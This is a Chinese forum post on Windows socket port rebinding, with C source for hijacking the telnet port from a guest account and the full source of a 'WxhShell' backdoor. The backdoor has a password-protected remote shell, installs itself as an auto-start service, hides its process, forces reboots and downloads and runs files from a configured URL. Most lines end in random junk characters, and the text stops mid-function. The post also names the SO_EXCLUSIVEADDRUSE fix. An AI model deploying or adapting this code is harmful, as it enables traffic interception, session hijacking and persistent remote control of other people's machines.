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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kFHtZS(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n$y)F} .-  
4!KUPgg  
  saddr.sin_family = AF_INET; OmX(3>:9  
ueazAsk3g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]p2M!N,?  
,] ,dOIOwn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9W <I~  
>w"k:O17  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CwVORf,uA  
42: 6=\  
  这意味着什么?意味着可以进行如下的攻击: wtw  
2aUy1*aM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YAf`Fnmw  
x7]Yn'^'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &*#- %<=1  
! uyC$8V*l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AGxG*KuZ  
#2023Zo]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wfxg@<WR  
Z>H y+Q4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dLMKfh/4Q  
2,X~a;+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eD481r  
L(2KC>GvA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %kJ_o*"  
JW4~Qwx  
  #include MdOQEWJ$|  
  #include 5L}qL?S`x|  
  #include &u'$q  
  #include    f6h!wx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [nam H a  
  int main() X_eh+>D  
  { =i/7&gC  
  WORD wVersionRequested; uxd5XS  
  DWORD ret; 5xawa:K  
  WSADATA wsaData; (ft8,^=4  
  BOOL val; Je#vl4<L  
  SOCKADDR_IN saddr; X^U)j N2  
  SOCKADDR_IN scaddr; j[fVF3v  
  int err; QM }TPE  
  SOCKET s; b!R\u1b  
  SOCKET sc; U h'1f7%  
  int caddsize; 5@6%/='I q  
  HANDLE mt; Wm/0Y'$r&k  
  DWORD tid;   ]HK|xO(  
  wVersionRequested = MAKEWORD( 2, 2 ); U]Vu8$W  
  err = WSAStartup( wVersionRequested, &wsaData ); [BpIzhy&}  
  if ( err != 0 ) { L+&eY?A  
  printf("error!WSAStartup failed!\n"); OXs-gC{b  
  return -1; c.u$NnDU6  
  } wYrb P11  
  saddr.sin_family = AF_INET; m|)Mc VV  
   -4&SYCw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f"j"ZM{~U  
:i&ZMH,O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jcWv&u|  
  saddr.sin_port = htons(23); w{t2Oo6Q0+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _BV'J92.  
  { 9oK#n'hjb  
  printf("error!socket failed!\n"); =!b<@41  
  return -1; G02(dj  
  } |[ tlR`A$  
  val = TRUE; (C RY$+d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vPn(~d_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *.UM[Wo  
  { ,&;#$ b5  
  printf("error!setsockopt failed!\n"); ?]'Rz\70  
  return -1; v:MJF*/  
  }  G.3 qg%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F(-Q]xj,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I&oHVFY+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1Y"[Qs]"mU  
v(T;Y=&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y7yh0r_  
  { 4|ryt4B  
  ret=GetLastError(); Qo !/]\  
  printf("error!bind failed!\n"); .`OyC'  
  return -1; b{C3r3B8  
  } 5 JE8/CbH  
  listen(s,2); R$<LEwjSw  
  while(1) 8,BNs5  
  { _yq"F#,*  
  caddsize = sizeof(scaddr); :h1-i  
  //接受连接请求 0Dj<-n{9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;IC:]Zu  
  if(sc!=INVALID_SOCKET) HB+\2jEE  
  { +)C?v&N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GoI3hp(  
  if(mt==NULL) ]bG8DEwD  
  { `zNvZm-E  
  printf("Thread Creat Failed!\n"); p!MOp-;-  
  break; }xx[=t=nUf  
  } IS`1}i$1%  
  } Ixhe86-:T  
  CloseHandle(mt); NrE&w H:  
  } t> J 43  
  closesocket(s); ANNfL9:Jy  
  WSACleanup(); OAu ?F}O  
  return 0; }LDH/# u  
  }   [-X=lJ:+h  
  DWORD WINAPI ClientThread(LPVOID lpParam) TbqED\5@9w  
  { fZ2>%IxG}  
  SOCKET ss = (SOCKET)lpParam; c7mIwMhl~  
  SOCKET sc; n&Q{ [E  
  unsigned char buf[4096]; *Z! #6(G  
  SOCKADDR_IN saddr; 'k=GSb  
  long num; A2{u("^[6  
  DWORD val; #>+O=YO  
  DWORD ret; b{|Ha3;w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yyq:5V!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S3V3<4CB  
  saddr.sin_family = AF_INET; w /$4 Rv+S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p/|]])2  
  saddr.sin_port = htons(23); ozZW7dveU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $=7[.z&  
  { / AFn8=9'^  
  printf("error!socket failed!\n"); 58"Cn ||tF  
  return -1; ]de'v  
  } e"u=4nk  
  val = 100; WQ/H8rOs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S}Wj+H;  
  { qJ=4HlLno  
  ret = GetLastError(); :-B,Q3d  
  return -1; zY\pZG  
  } 1ID0'j$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7mipj]  
  { ]sBSLEie '  
  ret = GetLastError(); c:0nOP  
  return -1; ) -+u8#  
  } {_0m0 8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =B9Ama   
  { `+_UG^aeW  
  printf("error!socket connect failed!\n"); Hi$J@xU  
  closesocket(sc); 6eSc`t&  
  closesocket(ss); 8_8r{a<xW  
  return -1; 8X":,s!  
  } ;Wa4d`K  
  while(1) xSFY8  
  { VG*Tdaua~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C~PrIM?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lf4V; |!^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4,CQJ  
  num = recv(ss,buf,4096,0); w] b3,b  
  if(num>0) ~1&%,$fZ  
  send(sc,buf,num,0); P?GHcq$\  
  else if(num==0) {&,9Zy]"S  
  break; m6J7)Wp  
  num = recv(sc,buf,4096,0); 7%C6hEP/*W  
  if(num>0) <aJdm!6  
  send(ss,buf,num,0); T4,dhS|  
  else if(num==0) 0 1U/{D6D  
  break; ^&oa\7<'  
  } 5gnNgt~  
  closesocket(ss); 8)IpQG  
  closesocket(sc); Z?k4Kb  
  return 0 ; H!Gsu$C  
  } +uMOT#KjR  
p=m)lR9  
Z -3i -(  
========================================================== h#Cq-^D#~  
DIR_W-z  
下边附上一个代码,,WXhSHELL HvSKR1wL\  
M{gtu'.  
========================================================== -oo&8  
G+N &(:  
#include "stdafx.h" yyke"D  
T =r7FU  
#include <stdio.h> BgLW!|T[  
#include <string.h> 4.)hCb  
#include <windows.h> Vb>!;C  
#include <winsock2.h> c,a+u  
#include <winsvc.h> 0j*-ZvE)30  
#include <urlmon.h> G}1?lO_d`  
[ t@  
#pragma comment (lib, "Ws2_32.lib") ~^*IP1.3  
#pragma comment (lib, "urlmon.lib")  PZZTRgVc  
c,%9Fh?(  
#define MAX_USER   100 // 最大客户端连接数 mo1(dyjx  
#define BUF_SOCK   200 // sock buffer M`!\$D  
#define KEY_BUFF   255 // 输入 buffer x&qC~F*QR%  
Jolr"F?  
#define REBOOT     0   // 重启 E)liuu! qI  
#define SHUTDOWN   1   // 关机 OYKeu(=L  
OZ\]6]L  
#define DEF_PORT   5000 // 监听端口 |_Vi8Ly  
zlC|Spaf  
#define REG_LEN     16   // 注册表键长度 j0b?dKd  
#define SVC_LEN     80   // NT服务名长度 SE= 3`rVJ  
j+0=)Q%I=  
// 从dll定义API 8F|8zX&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o:E+c_^q`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); smEKQHB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rW$ )f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E- ,/@4k  
EU?)AxH^  
// wxhshell配置信息 P?%kV  
struct WSCFG { bp G`,[  
  int ws_port;         // 监听端口 b#%s!  
  char ws_passstr[REG_LEN]; // 口令 G0p|44_~t  
  int ws_autoins;       // 安装标记, 1=yes 0=no '^f,H1oW  
  char ws_regname[REG_LEN]; // 注册表键名 pE{ZWW[@+  
  char ws_svcname[REG_LEN]; // 服务名 ,H!E :k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ld58R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (=:9pbP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ax{+7  k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;O=tSEe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p9]008C89  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n(^{s5 Rr  
:G$f)NMK  
}; =!{7ZSu\  
FG.MV-G  
// default Wxhshell configuration jt|e?1:vF  
struct WSCFG wscfg={DEF_PORT, $_s"16s  
    "xuhuanlingzhe", l \~w(8g<A  
    1, k(|D0%#b7  
    "Wxhshell", C.I.f9s?R  
    "Wxhshell", JjarMJr| D  
            "WxhShell Service", nb}*IExd  
    "Wrsky Windows CmdShell Service", +*"u(7AV  
    "Please Input Your Password: ", .6Jo1$+  
  1, V_pWf5F  
  "http://www.wrsky.com/wxhshell.exe", FoY_5/  
  "Wxhshell.exe" (jYHaTL6Y'  
    }; S;#S3?G  
F9rxm  
// 消息定义模块 ssbvuTr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LGx]z.30B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _:oB#-0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }3sj{:z{  
char *msg_ws_ext="\n\rExit."; Y;3DU1MG0  
char *msg_ws_end="\n\rQuit."; l);M(<  
char *msg_ws_boot="\n\rReboot..."; gMe)\5`\Y  
char *msg_ws_poff="\n\rShutdown..."; {E *dDv  
char *msg_ws_down="\n\rSave to "; ,Bh!|H(?L1  
"~~Js~  
char *msg_ws_err="\n\rErr!"; JWhi*je  
char *msg_ws_ok="\n\rOK!"; TR:V7 d  
df_hmkyj  
char ExeFile[MAX_PATH]; wc7gOrPpm  
int nUser = 0; 7J@iJW],,  
HANDLE handles[MAX_USER]; [DS.@97n  
int OsIsNt; oNHbQ&h  
Ua^#.K  
SERVICE_STATUS       serviceStatus; hl`4_`3y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h}PeXnRU  
] ?!#*<t r  
// 函数声明 5U)Ia>p  
int Install(void); wZv"tbAWLV  
int Uninstall(void); y8"8QH  
int DownloadFile(char *sURL, SOCKET wsh); &DoYz[q  
int Boot(int flag); ;&B;RUUnTO  
void HideProc(void); c#'t][Ii  
int GetOsVer(void); Fj? Q4_  
int Wxhshell(SOCKET wsl); -xg$qvK  
void TalkWithClient(void *cs); 9 cU]@j}2  
int CmdShell(SOCKET sock); J^tLKTB  
int StartFromService(void); )}QtK+Rq  
int StartWxhshell(LPSTR lpCmdLine); AD_RU_a9  
+"1@ 6,M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YlfzHeN1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @=CN#D12  
= GUgb2TAT  
// 数据结构和表定义 }7p`8?  
SERVICE_TABLE_ENTRY DispatchTable[] = v x qsK  
{ eXo7_#  
{wscfg.ws_svcname, NTServiceMain}, d:08@~#  
{NULL, NULL} UIS\t^pJD  
}; fFu+P<?"  
w1q-bIU  
// 自我安装 VJW%y)_[  
int Install(void) ug]WIG7 S  
{ ] %A mX-U  
  char svExeFile[MAX_PATH]; )+;Xfftz  
  HKEY key; W"j&':xD  
  strcpy(svExeFile,ExeFile); JC| j*x(k/  
W&E?#=*X  
// 如果是win9x系统,修改注册表设为自启动 t>nx#ErS  
if(!OsIsNt) { 9 <qAf`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [n%=2*1p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J~.8.]gXW  
  RegCloseKey(key); Q<4Sd:P`"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 !W M'i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CK4C:`YG  
  RegCloseKey(key); F@ Sw  
  return 0; FbH 1yz  
    } VK>ZH^-  
  } QD6<sw@]P  
} ~z;G$jd  
else { Zb> UY8  
)fPN6x/e  
// 如果是NT以上系统,安装为系统服务 /2 V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y5>X0tT  
if (schSCManager!=0) {O24:'K&  
{ nPlg5&E  
  SC_HANDLE schService = CreateService 05o +VF;z  
  ( ^FO&GM2a  
  schSCManager, f]c{,LFvZ  
  wscfg.ws_svcname, TsiI5'tx  
  wscfg.ws_svcdisp, BO5\rRa0  
  SERVICE_ALL_ACCESS, +5AWX,9,-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l@edR)n <  
  SERVICE_AUTO_START, {'O,G$Ldkr  
  SERVICE_ERROR_NORMAL, l X g.`  
  svExeFile, MaMP7O|W  
  NULL, rQE:rVKVh  
  NULL, .W;,~.l  
  NULL, bF_SD\/  
  NULL, jP(|pz  
  NULL  ,2yIKPWk  
  ); 2'>  
  if (schService!=0) JDbRv'F:(  
  { Whd.AaD\  
  CloseServiceHandle(schService); 4MM /i}  
  CloseServiceHandle(schSCManager); =r1-M.*a.M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L_@P fI  
  strcat(svExeFile,wscfg.ws_svcname); Y)V)g9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w|t}.u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MS7rD%(,'  
  RegCloseKey(key); %%uvia=e  
  return 0; Veeuw  
    } [2*?b/q3J  
  } _+B{n^ {  
  CloseServiceHandle(schSCManager); l$1 ]  
} Y6+/_$N4|  
} (U`<r-n\n  
jWpm"C  
return 1; Vt4KG+zm  
} G;jX@XqZ  
;T-`~  
// 自我卸载 A,PF#G(  
int Uninstall(void) TUy 25E  
{ W!Qaa(o?  
  HKEY key; :OEovk(`  
Vi 9Kah+  
if(!OsIsNt) { xLN$!9t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^*g= 65!1  
  RegDeleteValue(key,wscfg.ws_regname); @ zs.M-F  
  RegCloseKey(key); IjaFNZZC!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |BA&ixHe~C  
  RegDeleteValue(key,wscfg.ws_regname); 5MX7V4ist  
  RegCloseKey(key); Zb&5)&'X  
  return 0; i>j(Dsv  
  } `f)X!S2l  
} xR~9|H9a  
} _keI0ML-#  
else { ^55q~DP}>  
9*Z!=Y#4,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f%[0}.wp  
if (schSCManager!=0) U;w| =vM  
{ (fqU73  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xwhS[d  
  if (schService!=0) FE=vUQXE2  
  { DeK&_)g| Z  
  if(DeleteService(schService)!=0) { OCN:{  
  CloseServiceHandle(schService); tO}Y=kZa{  
  CloseServiceHandle(schSCManager); mb GL)NI  
  return 0; yg WwUpY  
  } 9O4\DRe5c  
  CloseServiceHandle(schService); |s!<vvp]  
  } 16-1&WuY@  
  CloseServiceHandle(schSCManager); !n^7&Y[N;  
} z(dDX%k@  
} Nu,t,&B   
APUpqY  
return 1; tBjMm8lgb  
} boeIO\2}P0  
Xh?J"kjof  
// 从指定url下载文件 zq Cr'$  
int DownloadFile(char *sURL, SOCKET wsh) P;bOtT --  
{ Q=u [j|0mc  
  HRESULT hr; eW\C@>Ke  
char seps[]= "/"; bbG!Fg=qQ?  
char *token; 6[T)Q^0`  
char *file; Yu+;vjbK-  
char myURL[MAX_PATH]; fn3DoD+I  
char myFILE[MAX_PATH]; k &6$S9  
BK 9+fO  
strcpy(myURL,sURL); k=  
  token=strtok(myURL,seps); FIN0~ 8  
  while(token!=NULL) t~V?p'a0ys  
  { u`gY/]y!  
    file=token; Uqd2{fji=#  
  token=strtok(NULL,seps); ~Q2,~9Dkc  
  } h[& \ OD,P  
cnL@j_mb  
GetCurrentDirectory(MAX_PATH,myFILE); g0M/Sv  
strcat(myFILE, "\\"); V8947h|&  
strcat(myFILE, file); ,e@707d`\  
  send(wsh,myFILE,strlen(myFILE),0); v$~ZT_"(9  
send(wsh,"...",3,0); )U +Pt98"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *@E&O^%cO  
  if(hr==S_OK) %df[8eX{  
return 0; yP"D~u  
else 3e?a$~9  
return 1; OV`#/QL  
UNCI"Mjb  
} rodr@  
4<A+Tf  
// 系统电源模块 K!O7q~s[D  
int Boot(int flag) -&0HAtc  
{ js[H $  
  HANDLE hToken; tD+K4 ^  
  TOKEN_PRIVILEGES tkp; D.,~I^W  
115zvW  
  if(OsIsNt) { (i@B+c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?UBhM,;XK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &d6  
    tkp.PrivilegeCount = 1; +"3K)9H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Hpz^<`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W~?mr! `  
if(flag==REBOOT) { K {__rO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]}9D*V  
  return 0; aMO+ y91Y(  
} - -ZSl  
else { %&&;06GU}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  MuP&m{  
  return 0; ]-8yZWal  
} 7b hJt_`Q  
  } Lb0BmR%0  
  else { F2C v,&'  
if(flag==REBOOT) { )(DX]Tr`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5@`DS-7h  
  return 0; v0W/7?D  
} ^cI 0 d,3=  
else { Y/`*t(/5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B'-L-]\H  
  return 0; b\^9::oY  
} 2@?\"kR"!  
} o]WG8Mo-  
dL|*#e  
return 1; f1RX`rXf  
} JAS!eF  
; 2Za]%'  
// win9x进程隐藏模块 *v0}S5^ /"  
void HideProc(void) 89l{h8R  
{ T]y^PT<8?  
l^4!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >-4kO7.V  
  if ( hKernel != NULL ) F:cenIaBF  
  { (6~~e$j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $|H7fn(r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L<O"36R  
    FreeLibrary(hKernel); V38v2LI  
  } k%h%mz  
?vocI  
return; )jm u*D5N  
} 9p%8VDF=  
Pskg68W  
// 获取操作系统版本 H<C+ rAIb  
int GetOsVer(void) g/jlG%kI}  
{ '/Ag3R  
  OSVERSIONINFO winfo; ~/1eF7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fa9gr/.F,@  
  GetVersionEx(&winfo); Nh+ZSV4WJ:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .>+jtp}  
  return 1; f}? q  
  else A"no!AN  
  return 0; JTfG^Nv>K  
} dx[kG  
 FA#8  
// 客户端句柄模块 Cl'3I%$8K  
int Wxhshell(SOCKET wsl) )+v' @]r  
{ .h@HAnmE  
  SOCKET wsh; G&v. cF#Y'  
  struct sockaddr_in client; VQ'DNv| 9  
  DWORD myID; h$I 2T  
707-iLkt.1  
  while(nUser<MAX_USER) |c3Yh,Sv  
{ jLgx(bMn  
  int nSize=sizeof(client); e2*Fe9:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bw8&Amxx:  
  if(wsh==INVALID_SOCKET) return 1; '(&,i/O  
2:Rxyg@'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g@B,0JRh  
if(handles[nUser]==0) oK{H <79  
  closesocket(wsh); =d`/BDD  
else ui4*vjd  
  nUser++; OVf%m~%&s  
  } 7) e#b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rulw6vTB(  
(Gpk;DD  
  return 0; 4Q5 c'  
} =~F.7wq*^  
DTp|he  
// 关闭 socket 6n5>{X  
void CloseIt(SOCKET wsh) /{+77{# Qn  
{ # vBS7ba  
closesocket(wsh); UJ1Ecob  
nUser--; _.G p}0a  
ExitThread(0); 1)N{!w`  
} k{d)'\FM  
BuIly&qbm<  
// 客户端请求句柄 bsgrg  
void TalkWithClient(void *cs) (N`x  
{ (&ABfm/t  
eE-c40Bae  
  SOCKET wsh=(SOCKET)cs; 7l|D!`BS  
  char pwd[SVC_LEN]; Ri&?uCCM  
  char cmd[KEY_BUFF]; `1qM Sq  
char chr[1]; \`$RY')9|!  
int i,j; sCw X|  
EABy<i  
  while (nUser < MAX_USER) {  cnwpd%]o  
3^J~ts{*  
if(wscfg.ws_passstr) { Rr3<ln  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k| Ye[GM*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hY-;Vh0J  
  //ZeroMemory(pwd,KEY_BUFF); SFRQpQ06  
      i=0; *>f-UNV  
  while(i<SVC_LEN) { KWB;*P C^  
#I|jFn9  
  // 设置超时 2h^9lrQcQG  
  fd_set FdRead; H&3i[D!p  
  struct timeval TimeOut; {9yW8&m  
  FD_ZERO(&FdRead); Z2wgfP`  
  FD_SET(wsh,&FdRead); A3=$I&!%  
  TimeOut.tv_sec=8; 35X4] t  
  TimeOut.tv_usec=0; >7^i>si  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [r"`r Bw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); soi.`xE  
r7=r~3)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g4fe(.?c,  
  pwd=chr[0]; Z_Z; g]|!  
  if(chr[0]==0xd || chr[0]==0xa) { T6=q[LpsKN  
  pwd=0; aO]FQ#l2b  
  break; Lm}J& ^>  
  } eFiUB  
  i++; &@anv.D  
    } G,6Zy-Y9  
O.g!k"nas&  
  // 如果是非法用户,关闭 socket -F+dmI,1$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7TW</g(  
} 3(/J(8  
gkN )`/`*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,F)9{ <r]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t)hAD_sf  
:Kt'Fm,s?  
while(1) { hB:}0@l6p=  
9V5d=^  
  ZeroMemory(cmd,KEY_BUFF); n'-?CMH`  
=TzmhX5  
      // 自动支持客户端 telnet标准   }|Wn6X  
  j=0; I||4.YT  
  while(j<KEY_BUFF) { j(SBpM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uqMe %  
  cmd[j]=chr[0]; 5Sm)+FC :  
  if(chr[0]==0xa || chr[0]==0xd) { zjVQ\L  
  cmd[j]=0; #lHA<jI  
  break; L1i:hgq0]  
  } _~_E(rTn  
  j++; `[*nUdG  
    } Yo$ xz  
fqcFfz6?x  
  // 下载文件 ]sf1+3  
  if(strstr(cmd,"http://")) { aHvsgp]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Qc5_of  
  if(DownloadFile(cmd,wsh)) #^FDFl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JM?X]l  
  else K V-}:u(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >TqMb8e_  
  } JO `KNI  
  else { ZXR#t?D  
`43X? yQ  
    switch(cmd[0]) { YLEa;MR  
  a7Fc"s*  
  // 帮助 6]*~!al?  
  case '?': { DfJHH)Ry}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RXF%A5FXh  
    break; 2UF ,W]  
  } }j. [h;C6  
  // 安装 X>`5YdT~+  
  case 'i': { 6mH --!j  
    if(Install()) +"Ui @^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7;AK!BH  
    else !PIpvx{aX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )GpH5N'EI  
    break; ^*fZ  
    } :GaK.W q  
  // 卸载 iO,_0Y4  
  case 'r': { s^n}m#T  
    if(Uninstall()) k]<E1 c/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AK brXKx  
    else *Ou)P9~-L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]tzO)c)w;  
    break; zL<<`u?  
    } ! 9U  
  // 显示 wxhshell 所在路径 RrPo89o  
  case 'p': { +TQMA >@g<  
    char svExeFile[MAX_PATH]; !k= ~5)x  
    strcpy(svExeFile,"\n\r"); TL?(0]H fe  
      strcat(svExeFile,ExeFile); 2unaK<1s  
        send(wsh,svExeFile,strlen(svExeFile),0); m<DiYxK  
    break; W_ =  
    } 6_s_2cr  
  // 重启 Snav)Hb'  
  case 'b': { O&Ws*k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lOc!KZHUp  
    if(Boot(REBOOT)) 7 q%|-`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bJz}\[z  
    else { O" <W<l7Q  
    closesocket(wsh); -or^mNB_z  
    ExitThread(0); aNLkkkJg<;  
    } >pVrY; P[  
    break; aq|R?  
    } 38[ko 3  
  // 关机 Gw0_M&  
  case 'd': { Y}/e" mp  
